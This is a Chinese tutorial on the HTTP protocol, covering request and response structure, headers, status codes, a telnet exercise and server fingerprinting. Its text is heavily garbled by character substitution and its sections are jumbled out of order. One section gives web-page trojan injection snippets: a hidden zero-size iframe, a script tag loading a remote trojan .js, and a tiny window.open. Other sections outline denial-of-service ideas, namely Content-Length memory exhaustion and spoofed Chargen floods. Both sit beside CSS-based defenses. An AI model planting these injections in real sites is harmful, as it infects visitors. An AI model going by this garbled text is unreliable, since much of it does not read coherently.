Http协议

1、请求行以一个措施符号开头,以空格分开,后面随着请求的URI和协和的版本,格式如下:Method
Request-URI HTTP-Version CRLF  
里头
Method表示求方法;Request-URI是一个联资源标识符;HTTP-Version表示请的HTTP协议版本;CRLF表示回车和换行(除了当最后的CRLF外,不容许出现单独的CR或LF字符)。

本极其多表现之JS挂马方法有个别栽,一栽是直接将JavaScript脚论代码写于网页中,当访问者在浏览网页经常,恶意的挂马脚本就见面由此用户之浏览器悄悄地打开网马窗口,隐藏地运转。
    这种措施运用的要代码如下:
   
window.open(“http://www.shenzhidao.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro
llbars=no,width=1,height=1”);
   
这种代码往往特别丰富,很轻吃安全工程师发现,而且没有经验的黑客也喜好用“width”和“height=”参数设为“0”,但是设置为0后,可能会见并发恶意代码不运行的景。
    另外一种植JS挂马方式是,黑客先拿挂马脚本代码“document.write(‘<Iframe
src=”网页木马地址”
></iframe>’)”,写副Windows中之写字板另存也继缀为.js的脚本文件,并上传自己指定的网址。这时黑客只待以被害人的网站中写入:
    <script
src=”http://www.shenzhidao.com/木马脚本.js"&gt;&lt;/script&gt;
    或者
    document.write(“<div style=’display:none’>”)
    document.write(“<iframe src=”网页木马地址” width=”0″ height=”0″
scrolling=”no” frameborder=”0″></iframe>”)
    document.write(“</div>”)
    就打响地用木马挂到了对方的网页遭到了。
   
小提示:黑客还得依据事态任意变换插入的JS挂马方法,例如黑客有或会见以下面论写吧:
    <div style=”behaviour:
url(http://www.shenzhidao.com/木马脚本.js);"&gt;
    或者:
    <iframe src=”vbscript:[挂马脚本]”>
    等等……
   
防第一栽JS挂马方式,不便宜,用得死少,而第二种JS挂马方式才是目前主流的,所以我们着重对她进行防卫。方法就是是阻止Src请求的外地外域的JS脚本,代码如下:
    iframe{mdy1:expression(this.src=’about:blank’,this.outerHTML=”);}
   
script{mzm2:expression((this.src.toLowerCase().indexOf(‘http’)==0)?document.write(‘木马被成功隔离!’):”);}
   
不过这种艺术的缺陷就是网站的访问者将不可知看到让挂了JS木马的连锁网页。
   
所以我们吧安全工程师提供了同一段子可以中止JS脚本运行的CSS代码,这段代码会于外地外域的JS文件在运document.write()时,被document.close()强制关闭。这个经常侯JS挂马的内容往往还无来得及写了,只有部分受劫持输出了,Writer后面的内容又无见面于写副访问者的微机中,从而从至谨防JS脚本挂马的意图。
    让JS木马的进程迅速刹车
    在 <head> </head> 之间在如下代码:
    屏蔽script和iframe
    <style type=”text/css” id=”LinrStudio”>
    /*<![CDATA[*/
    iframe{nhk1:expression(this.src=’about:blank’,this.outerHTML=”);}
   
script{ngz1:expression((this.src.indexOf(‘http’)==0)?document.close():”);}
    /*]]>*/
    </style>
    单屏蔽script
    <style type=”text/css” id=”LinrStudio”>
    /*<![CDATA[*/
   
/*iframe{nhk1:expression(this.src=’about:blank’,this.outerHTML=”);}*/
   
script{ngz1:expression((this.src.indexOf(‘http’)==0)?document.close():”);}
    /*]]>*/
    </style>

3、HTTP协议Content Lenth限制漏洞致拒绝服务攻击
动用POST方法时,可以安装ContentLenth来定义需要传送的数额长度,例如ContentLenth:999999999,在传递完成前,内
存不见面放,攻击者可用这毛病,连续为WEB服务器发送垃圾数据直至WEB服务器内存耗尽。这种攻击方法基本无见面留给痕迹。
http://www.cnpaf.net/Class/HTTP/0532918532667330.html

HTTP/1.0 404 Not Found       //请求失败
Date: Thu, 08 Mar 2007 07:50:50 GMT
Server: Apache/2.0.54 <Unix>
Last-Modified: Thu, 30 Nov 2006 11:35:41 GMT
ETag: “6277a-415-e7c76980”
Accept-Ranges: bytes
X-Powered-By: mod_xlayout_jh/0.0.1vhs.markII.remix
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from zjm152-78.sina.com.cn
Via: 1.0 zjm152-78.sina.com.cn:80<squid/2.6.STABLES-20061207>
X-Cache: MISS from th-143.sina.com.cn
Connection: close

季、HTTP协议详解之信报头篇

   
HTTP信由客户端到服务器的呼吁与服务器到客户端的响应组成。请求消息和应消息还是由开始实施(对于要消息,开始实行就是是请求行,对于响应消息,开始推行就是是状态行),消息报头(可选),空行(只有CRLF的实践),消息正文(可选)组成。

POST方法要求被求服务器接受附在请求后的数量,常用来提交表单。
eg:POST /reg.jsp HTTP/ (CRLF)
Accept:image/gif,image/x-xbit,… (CRLF)

HOST:www.guet.edu.cn (CRLF)
Content-Length:22 (CRLF)
Connection:Keep-Alive (CRLF)
Cache-Control:no-cache (CRLF)
(CRLF)         //该CRLF表示消息报头已经结束,在此之前为信报头
user=jeffrey&pwd=1234  //此行以下为付出的数据

   
在收到和说明请求消息后,服务器返回一个HTTP响应消息。

 

 

2、请求报头
呼吁报头允许客户端向服务器端传递请求的叠加信以及客户端自身之音信。
常用的乞求报头
Accept
Accept请求报头域用于指定客户端接受什么路的音信。eg:Accept:image/gif,表明客户端希望接受GIF图象格式的资源;Accept:text/html,表明客户端希望接受html文本。
Accept-Charset
Accept-Charset请求报头域用于指定客户端接受之字符集。eg:Accept-Charset:iso-8859-1,gb2312.如果以恳求消息中没有安装是地方,缺省凡是其他字符集都可领。
Accept-Encoding
Accept-Encoding请求报头域类似于Accept,但是它是用于指定可接受之情编码。eg:Accept-Encoding:gzip.deflate.如果请求消息遭到绝非装是地方服务器如果客户端对各种内容编码还得以承受。
Accept-Language
Accept-Language请求报头域类似于Accept,但是她是用以指定同种植自然语言。eg:Accept-Language:zh-cn.如果请求消息遭尚无设置是报头域,服务器如果客户端对各种语言都得接受。
Authorization
Authorization请求报头域主要用来证明客户端起且查看有资源。当浏览器访问一个页面时,如果接受服务器的应代码为401(未授权),可以发送一个涵盖Authorization请求报头域的呼吁,要求服务器对那个进行验证。
Host(发送请求时,该报头域是必备的)
Host请求报头域主要用来指定为请资源的Internet主机和端口号,它通常由HTTP
URL中领到出的,eg:
咱以浏览器被输入:http://www.guet.edu.cn/index.html
浏览器发送的呼吁消息遭到,就见面含有Host请求报头域,如下:
Host:www.guet.edu.cn
此间使用短省端口号80,若指定了端口号,则成:Host:www.guet.edu.cn:指定端口号
User-Agent
咱们上网登陆论坛的早晚,往往会见到有些迎接信息,其中列有了若的操作系统的称呼以及本,你所下的浏览器的名及本,这往往吃无数口感到异常神奇,实际上,服务器应用程序就是打User-Agent这个请报头域中获取到这些信。User-Agent请求报头域允许客户端将其的操作系统、浏览器和其它性质告诉服务器。不过,这个报头域不是必不可少的,如果我们团结编写一个浏览器,不下User-Agent请求报头域,那么服务器端就无法获悉我们的信了。
伸手报头举例:
GET /form.html HTTP/1.1 (CRLF)
Accept:image/gif,image/x-xbitmap,image/jpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,*/*
(CRLF)
Accept-Language:zh-cn (CRLF)
Accept-Encoding:gzip,deflate (CRLF)
If-Modified-Since:Wed,05 Jan 2007 11:21:25 GMT (CRLF)
If-None-Match:W/”80b1a4c018f3c41:8317″ (CRLF)
User-Agent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF)
Host:www.guet.edu.cn (CRLF)
Connection:Keep-Alive (CRLF)
(CRLF)

 

4、利用HTTP协议的特点开展拒绝服务攻击的有的思想
劳动器端忙于处理攻击者伪造之TCP连接要而没空理睬客户的正常请求(毕竟客户端的正规请求比率非常之小),此时自正常客户之角度看来,服务器失去响应,这种景象咱誉为:服务器端受到了SYNFlood攻击(SYN洪水攻击)。
倘Smurf、TearDrop等是采取ICMP报文来Flood和IP碎片攻击的。本文用“正常连接”的道来来拒绝服务攻击。
19端口于头就有人用来开Chargen攻击了,即Chargen_Denial_of_Service,但是!他们之所以底法门是当简单高Chargen
服务器之间产生UDP连接,让服务器处理了多信息一旦DOWN掉,那么,干少一雅WEB服务器的格就亟须出2独:1.起Chargen服务2.闹HTTP
服务
方式:攻击者伪造源IP给N台Chargen发送连接要(Connect),Chargen接收至连后虽会回到各国秒72字节的字符流(实际上根据网实际状况,这个速度再快)给服务器。

Date普通报头域表示消息发出的日期和日

 

//资源内容简短

4、实体报头
请求和应消息都可传递一个实体。一个实体由实体报头域和实业正文组成,但连无是说实体报头域和实体正文要于一齐发送,可以仅发送实体报头域。实体报头定义了关于实体正文(eg:有无实体正文)和乞求所标识的资源的首位信息。
常用之实业报头
Content-Encoding
Content-Encoding实体报头域被看作媒体类型的修饰符,它的价值指示了都为下及实体正文的叠加内容的编码,因而要博得Content-Type报头域中所引述的传媒类型,必须用相应的解码机制。Content-Encoding这样用于记录文档的滑坡方法,eg:Content-Encoding:gzip
Content-Language
Content-Language实体报头域描述了资源所用底自然语言。没有安装该域则以为实体内容以提供给持有的言语阅读
者。eg:Content-Language:da
Content-Length
Content-Length实体报头域用于指明实体正文的长度,以字节方式囤的十进制数字来代表。
Content-Type
Content-Type实体报头域用语指明发送给接收者的实业正文的传媒类型。eg:
Content-Type:text/html;charset=ISO-8859-1
Content-Type:text/html;charset=GB2312
Last-Modified
Last-Modified实体报头域用于指示资源的终极修改日期及时。
Expires
Expires实体报头域给闹响应过期的日子以及日。为了让代理服务器或浏览器在一段时间以后更新缓存中(再次做客曾访问过之页面时,直接从缓存中加载,缩短响应时间及降落服务器负荷)的页面,我们可使用Expires实体报头域指定页面过期的岁月。eg:Expires:Thu,15
Sep 2006 16:23:12 GMT
HTTP1.1底客户端和缓存必须以其他非法的日子格式(包括0)看作已经过。eg:为了吃浏览器不要缓存页面,我们也堪运用Expires实体报头域,设置为0,jsp中先后如下:response.setDateHeader(“Expires”,”0″);

论任意键继续…

1、打开telnet
1.1 打开telnet
运行–>cmd–>telnet

5、Http指纹识别技术
  
Http指纹识别的规律大致上吗是同等之:记录不同服务器对Http协议实施中之微小区别进行认识别.Http指纹识别比TCP/IP堆栈指纹识别复杂许
多,理由是定制Http服务器的配备文件、增加插件或机件使得改Http的应信息变的老轻,这样使识别变的孤苦;然而定制TCP/IP堆栈的作为
需要对骨干层进行修改,所以就是爱识别.
     
要吃服务器返回不同的Banner信息的装是老粗略的,象Apache这样的开放源代码的Http服务器,用户可在源代码里修改Banner信息,然
后重起Http服务就立竿见影了;对于尚未明白来代码的Http服务器比如微软的IIS或者是Netscape,可以在寄放Banner信息的Dll文件中修
改,相关的篇章产生谈论的,这里不再赘述,当然如此的改动的力量还是不错的.另外一种植模糊Banner信息的艺术是采用插件。
常用测试请求:
1:HEAD/Http/1.0发送为主的Http请求
2:DELETE/Http/1.0发送那些休被允许的请求,比如Delete请求
3:GET/Http/3.0发送一个野鸡版本的Http协议要
4:GET/JUNK/1.0殡葬一个休科学原则的Http协议要
Http指纹识别工具Httprint,它经过采用统计学原理,组合模糊的逻辑学技术,能挺管用的规定Http服务器的类型.它好给用来采访及分析不同Http服务器发的签署。

五、利用telnet观察http协议的简报过程

第二、HTTP协议详解之要求篇

2、协议分析的优势—HTTP分析器检测网络攻击
盖模块化的措施对高层协商进行分析处理,将是鹏程入侵检测的自由化。
HTTP及其代理的常用端口80、3128和8080于network部分之所以port标签进行了规定

 

无异于、HTTP协议详解之URL篇

 

   
http请求由三部分组成,分别是:请求行、消息报头、请求正文

失去了跟主机的连天

4
.注意事项:1、出现输入错误,则要不见面中标。
          2、报头域不分开大小写。
          3、更要命一步了解HTTP协议,可以翻RFC2616,在http://www.letf.org/rfc直达找到该公文。
          4、开发后台程序必须控制http协议

HTTP是一个属应用层的面向对象的商事,由于其干、快速的措施,适用于分布式超媒体信息体系。它给1990年提出,经过几年之采取以及提高,得到不断地完善与扩大。目前于WWW中动用的凡HTTP/1.0之第六版,HTTP/1.1底规范化工作正在展开内部,而且HTTP-NG(Next
Generation of HTTP)的提议已提出。
HTTP协议的要害特征而概括如下:
1.支持客户/服务器模式。
2.简练快速:客户为服务器请求服务时,只待传送请求方法及路。请求方法常用之发GET、HEAD、POST。每种方式规定了客户与服务器联系的类型不同。由于HTTP协议简单,使得HTTP服务器的先后层面小,因而通信速度杀快。
3.灵活:HTTP允许传输任意档次的数据对象。正在传输的类由Content-Type加以标记。
4.随便连接:无连接的意义是限量每次连续只处理一个告。服务器处理完客户之请,并收到客户的回答后,即断开连接。采用这种措施可节约传输时间。
5.无状态:HTTP协议是随便状态协议。无状态是赖协议于事务处理没有记忆能力。缺少状态意味着如果继续处理要前面的音讯,则它必须重传,这样或致每次连续传送的数据量增大。另一方面,在服务器不需事先前信息时其的答就较快。

2.2 open www.sina.com.cn 80 
//在命令提示符号下直接输入telnet www.sina.com.cn 80
    HEAD /index.asp HTTP/1.0
    Host:www.sina.com.cn
 

 

1.2 打开telnet回显成效
set localecho

HTTP URL
(URL是一模一样种植特殊类别的URI,包含了用来查找某个资源的足的信息)的格式如下:
[http://host\[":"port\]\[abs\_path](http://host%5B%22%22port%5D%5Babs_path)\]
http表示只要经过HTTP协议来恒定网络资源;host表示合法的Internet主机域名或者IP地址;port指定一个端口号,为空则使用缺省端口80;abs_path指定要资源的URI;如果URL中尚无被来abs_path,那么当其看成请求URI时,必须盖“/”的花样被有,通常是工作浏览器自动帮助我们完成。
eg:
1、输入:www.guet.edu.cn
浏览器自动转换成为:http://www.guet.edu.cn/
2、http:192.168.0.116:8080/index.jsp 

    实验目的和原理:
   
利用MS的telnet工具,通过手动输入http请求信息之办法,向服务器发出请求,服务器收到、解释以及承受请求后,会回到一个应,该响应会在telnet窗口达到显得出,从而从感觉上强化对http协议的报道过程的认。

2、响应报头后述

   
http(超文本传输协议)是一个因请求和响应模式之、无状态的、应用层的合计,常因TCP的连日方式,HTTP1.1本子被给来同种植持续连接的机制,绝大多数底Web开发,都是构建以HTTP协议之上的Web应用。

Connection普通报头域允许发送指定连接的挑三拣四项。例如指定连接是连连,或者指定“close”选项,通知服务器,在响应完成后,关闭连接

 

3.2 请求信息2.2取得的应是:

2、连接服务器并发送请求
2.1 open www.guet.edu.cn 80  //注意端口号不克简单

央方法(所有术都呢题写)有强,各个艺术的解说如下:
GET     请求获取Request-URI所标识的资源
POST    在Request-URI所标识的资源后附加新的多寡
HEAD    请求获取由Request-URI所标识的资源的响应消息报头
PUT     请求服务器存储一个资源,并为此Request-URI作为那个标识
DELETE  请求服务器删除Request-URI所标识的资源
TRACE   请求服务器回送收到的请求信息,主要用来测试或确诊
CONNECT 保留将来运
OPTIONS 请求查询服务器的特性,或者查询和资源相关的选和要求
用举例:
GET方法:在浏览器的地址栏中输入网址的办法访网页经常,浏览器采用GET方法为服务器获取资源,eg:GET
/form.html HTTP/1.1 (CRLF)

    HEAD /index.asp HTTP/1.0
    Host:www.guet.edu.cn
    
   /*咱得以转换请求方法,请求桂林电子主页内容,输入信息如下*/
    open www.guet.edu.cn 80 
   
    GET /index.asp HTTP/1.0  //请求资源的情
    Host:www.guet.edu.cn  

3、响应报头
响应报头允许服务器传递不克放在状态行中的增大响应信息,以及有关服务器的信息以及针对Request-URI所标识的资源拓展下一致步访问的音信。
常用之应报头
Location
Location响应报头域用于重定向接受者到一个初的职。Location响应报头域常用在变域名之早晚。
Server
Server响应报头域包含了服务器用来拍卖要的软件信息。与User-Agent请求报头域是互呼应的。下面是
Server响应报头域的一个例:
Server:Apache-Coyote/1.1
WWW-Authenticate
WWW-Authenticate响应报头域必须被含有在401(未授权的)响应消息备受,客户端收到401响应消息时,并发送Authorization报头域请求服务器对那个进展说明时,服务端响应报头就带有该报头域。
eg:WWW-Authenticate:Basic realm=”Basic Auth Test!” 
//可以看服务器对要资源采取的是着力证明机制。

HTTP消息报头包括一般报头、请求报头、响应报头、实体报头。
各个一个报头域都是出于名字+“:”+空格+值
组成,消息报头域的名是高低写无关之。

6、其他:为了加强用户用浏览器时的性质,现代浏览器还支持并发的顾方式,浏览一个网页时同时建立多只连,以便捷赢得一个网页上的差不多个图标,这样会重复速完成全部网页的传。
HTTP1.1遭遇提供了这种不断连接的主意,而下一代HTTP协议:HTTP-NG更有增无减了关于会晤说话控制、丰富的始末商等艺术的支持,来供
重复胜似效率的连年。

 

HEAD方法及GET方法几乎是同的,对于HEAD请求的回答部分来说,它的HTTP头部中隐含的音信及通过GET请求所抱的音讯是一致的。利用是办法,不必传输整个资源内容,就得取Request-URI所标识的资源的音信。该方法常用于测试超过链接的可行,是否足以拜,以及新近是不是更新。
2、请求报头后述
3、请求正文(略) 

HTTP/1.1 200
OK                                              //请求成功
Server: Microsoft-IIS/5.0                                   
//web服务器
Date: Thu,08 Mar 200707:17:51 GMT
Connection: Keep-Alive                                 
Content-Length: 23330
Content-Type: text/html
Expries: Thu,08 Mar 2007 07:16:51 GMT
Set-Cookie: ASPSESSIONIDQAQBQQQB=BEJCDGKADEDJKLKKAJEOIMMH; path=/
Cache-control: private

3、响应正文就是服务器返回的资源的情 

    实验步骤:

    1、基础:
   
高层磋商来:文件传输协议FTP、电子邮件传输协议SMTP、域名体系服务DNS、网络消息传输协议NNTP和HTTP协议相当于
中介由三种植:代理(Proxy)、网关(Gateway)和通道(Tunnel),一个代理根据URI的断然格式来领请求,重写尽还是部分信,通过
URI的标识将早已格式化了的恳求发送至服务器。网关是一个吸收代理,作为片另服务器的上层,并且使要的语句,可以拿要翻译为下层的服务器协议。一
个通道作为无更改信息的简单独连之间的中继点。当报道需要经过一个中介(例如:防火墙等)或者是中介不能够分辨信息之始末常常,通道时为下。
    
代理(Proxy):一个中路程序,它可充当一个服务器,也得充一个客户机,为其它客户机建立请求。请求是经或者的翻译在内部或通过传递至任何的
服务器遭受。一个代理在发送请求信息前,必须说明又使可能又写她。代理经常作为经防火墙的客户机端的派别,代理还可以看作一个协助下来经协议处
理没有为用户代理完成的伸手。
网关(Gateway):一个用作其它服务器中媒介的服务器。与代理不同之凡,网关接受请求虽好象对深受请的资源来说它就是是缘于服务器;发出请求的客户机并不曾发现及其当与网关打交道。
  网关经常作为经防火墙的劳动器端的家,网关还好看作一个合计翻译器以便存取那些存储在非HTTP系统中之资源。
   
通道(Tunnel):是当做少数独连续中继的中介程序。一旦激活,通道便给看无属HTTP通讯,尽管通道可能是于一个HTTP请求初始化的。当被吃继
的总是两端关闭时,通道便消失。当一个宗(Portal)必须有或者中介(Intermediary)不可知诠释中继的报导时通道被经常应用。

3.1 请求信息2.1获得的响应是:

 

3 实验结果:

1、普通报头
于普通报头中,有个别报头域用于所有的伸手和响应消息,但并无用于为传的实体,只用于传输的音。
eg:
Cache-Control  
用于指定缓存指令,缓存指令是只有为的(响应中冒出的缓存指令以伸手被未必会面世),且是单身的(一个音讯的缓存指令不会见潜移默化其他一个消息处理的缓存机制),HTTP1.0用的好像之报头域为Pragma。
央时的缓存指令包括:no-cache(用于指示要或响应消息不克缓存)、no-store、max-age、max-stale、min-fresh、only-if-cached;
响应时之缓存指令包括:public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate、max-age、s-maxage.
eg:为了指示IE浏览器(客户端)不要缓存页面,服务器端的JSP程序可以编制如下:response.sehHeader(“Cache-Control”,”no-cache”);
//response.setHeader(“Pragma”,”no-cache”);作用相当给上述代码,通常两者//合用
当下词代码用以发送的响应消息被安装普通报头域:Cache-Control:no-cache

六、HTTP协议相关技术填补

其三、HTTP协议详解之响应篇

HTTP响应也是出于三个组成部分组成,分别是:状态行、消息报头、响应正文
1、状态行格式如下:
HTTP-Version Status-Code Reason-Phrase CRLF
里,HTTP-Version表示服务器HTTP协议的本子;Status-Code表示服务器发回的响应状态代码;Reason-Phrase代表状态代码的文件描述。
状态代码有三个数字组合,第一个数字定义了响应的类型,且产生五种植或取值:
1xx:指示信息–表示要都接到,继续处理
2xx:成功–表示要都给成功接到、理解、接受
3xx:重定向–要到位请求必须开展再次进一步的操作
4xx:客户端错误–请求有语法错误或要无法落实
5xx:服务器端错误–服务器未能落实合法的呼吁
常见状态代码、状态描述、说明:
200 OK      //客户端请求成功
400 Bad Request  //客户端请求有语法错误,不克让服务器所知道
401 Unauthorized
//请求未经授权,这个状态代码必须和WWW-Authenticate报                
//头域一起下 
403 Forbidden  //服务器收到请求,但是拒绝提供劳务
404 Not Found  //请求资源不设有,eg:输入了不当的URL
500 Internal Server Error //服务器发生不可预料的荒谬
503 Server Unavailable 
//服务器时休能够处理客户端的请求,一段时间后,                        
//可能恢复正常
eg:HTTP/1.1 200 OK (CRLF)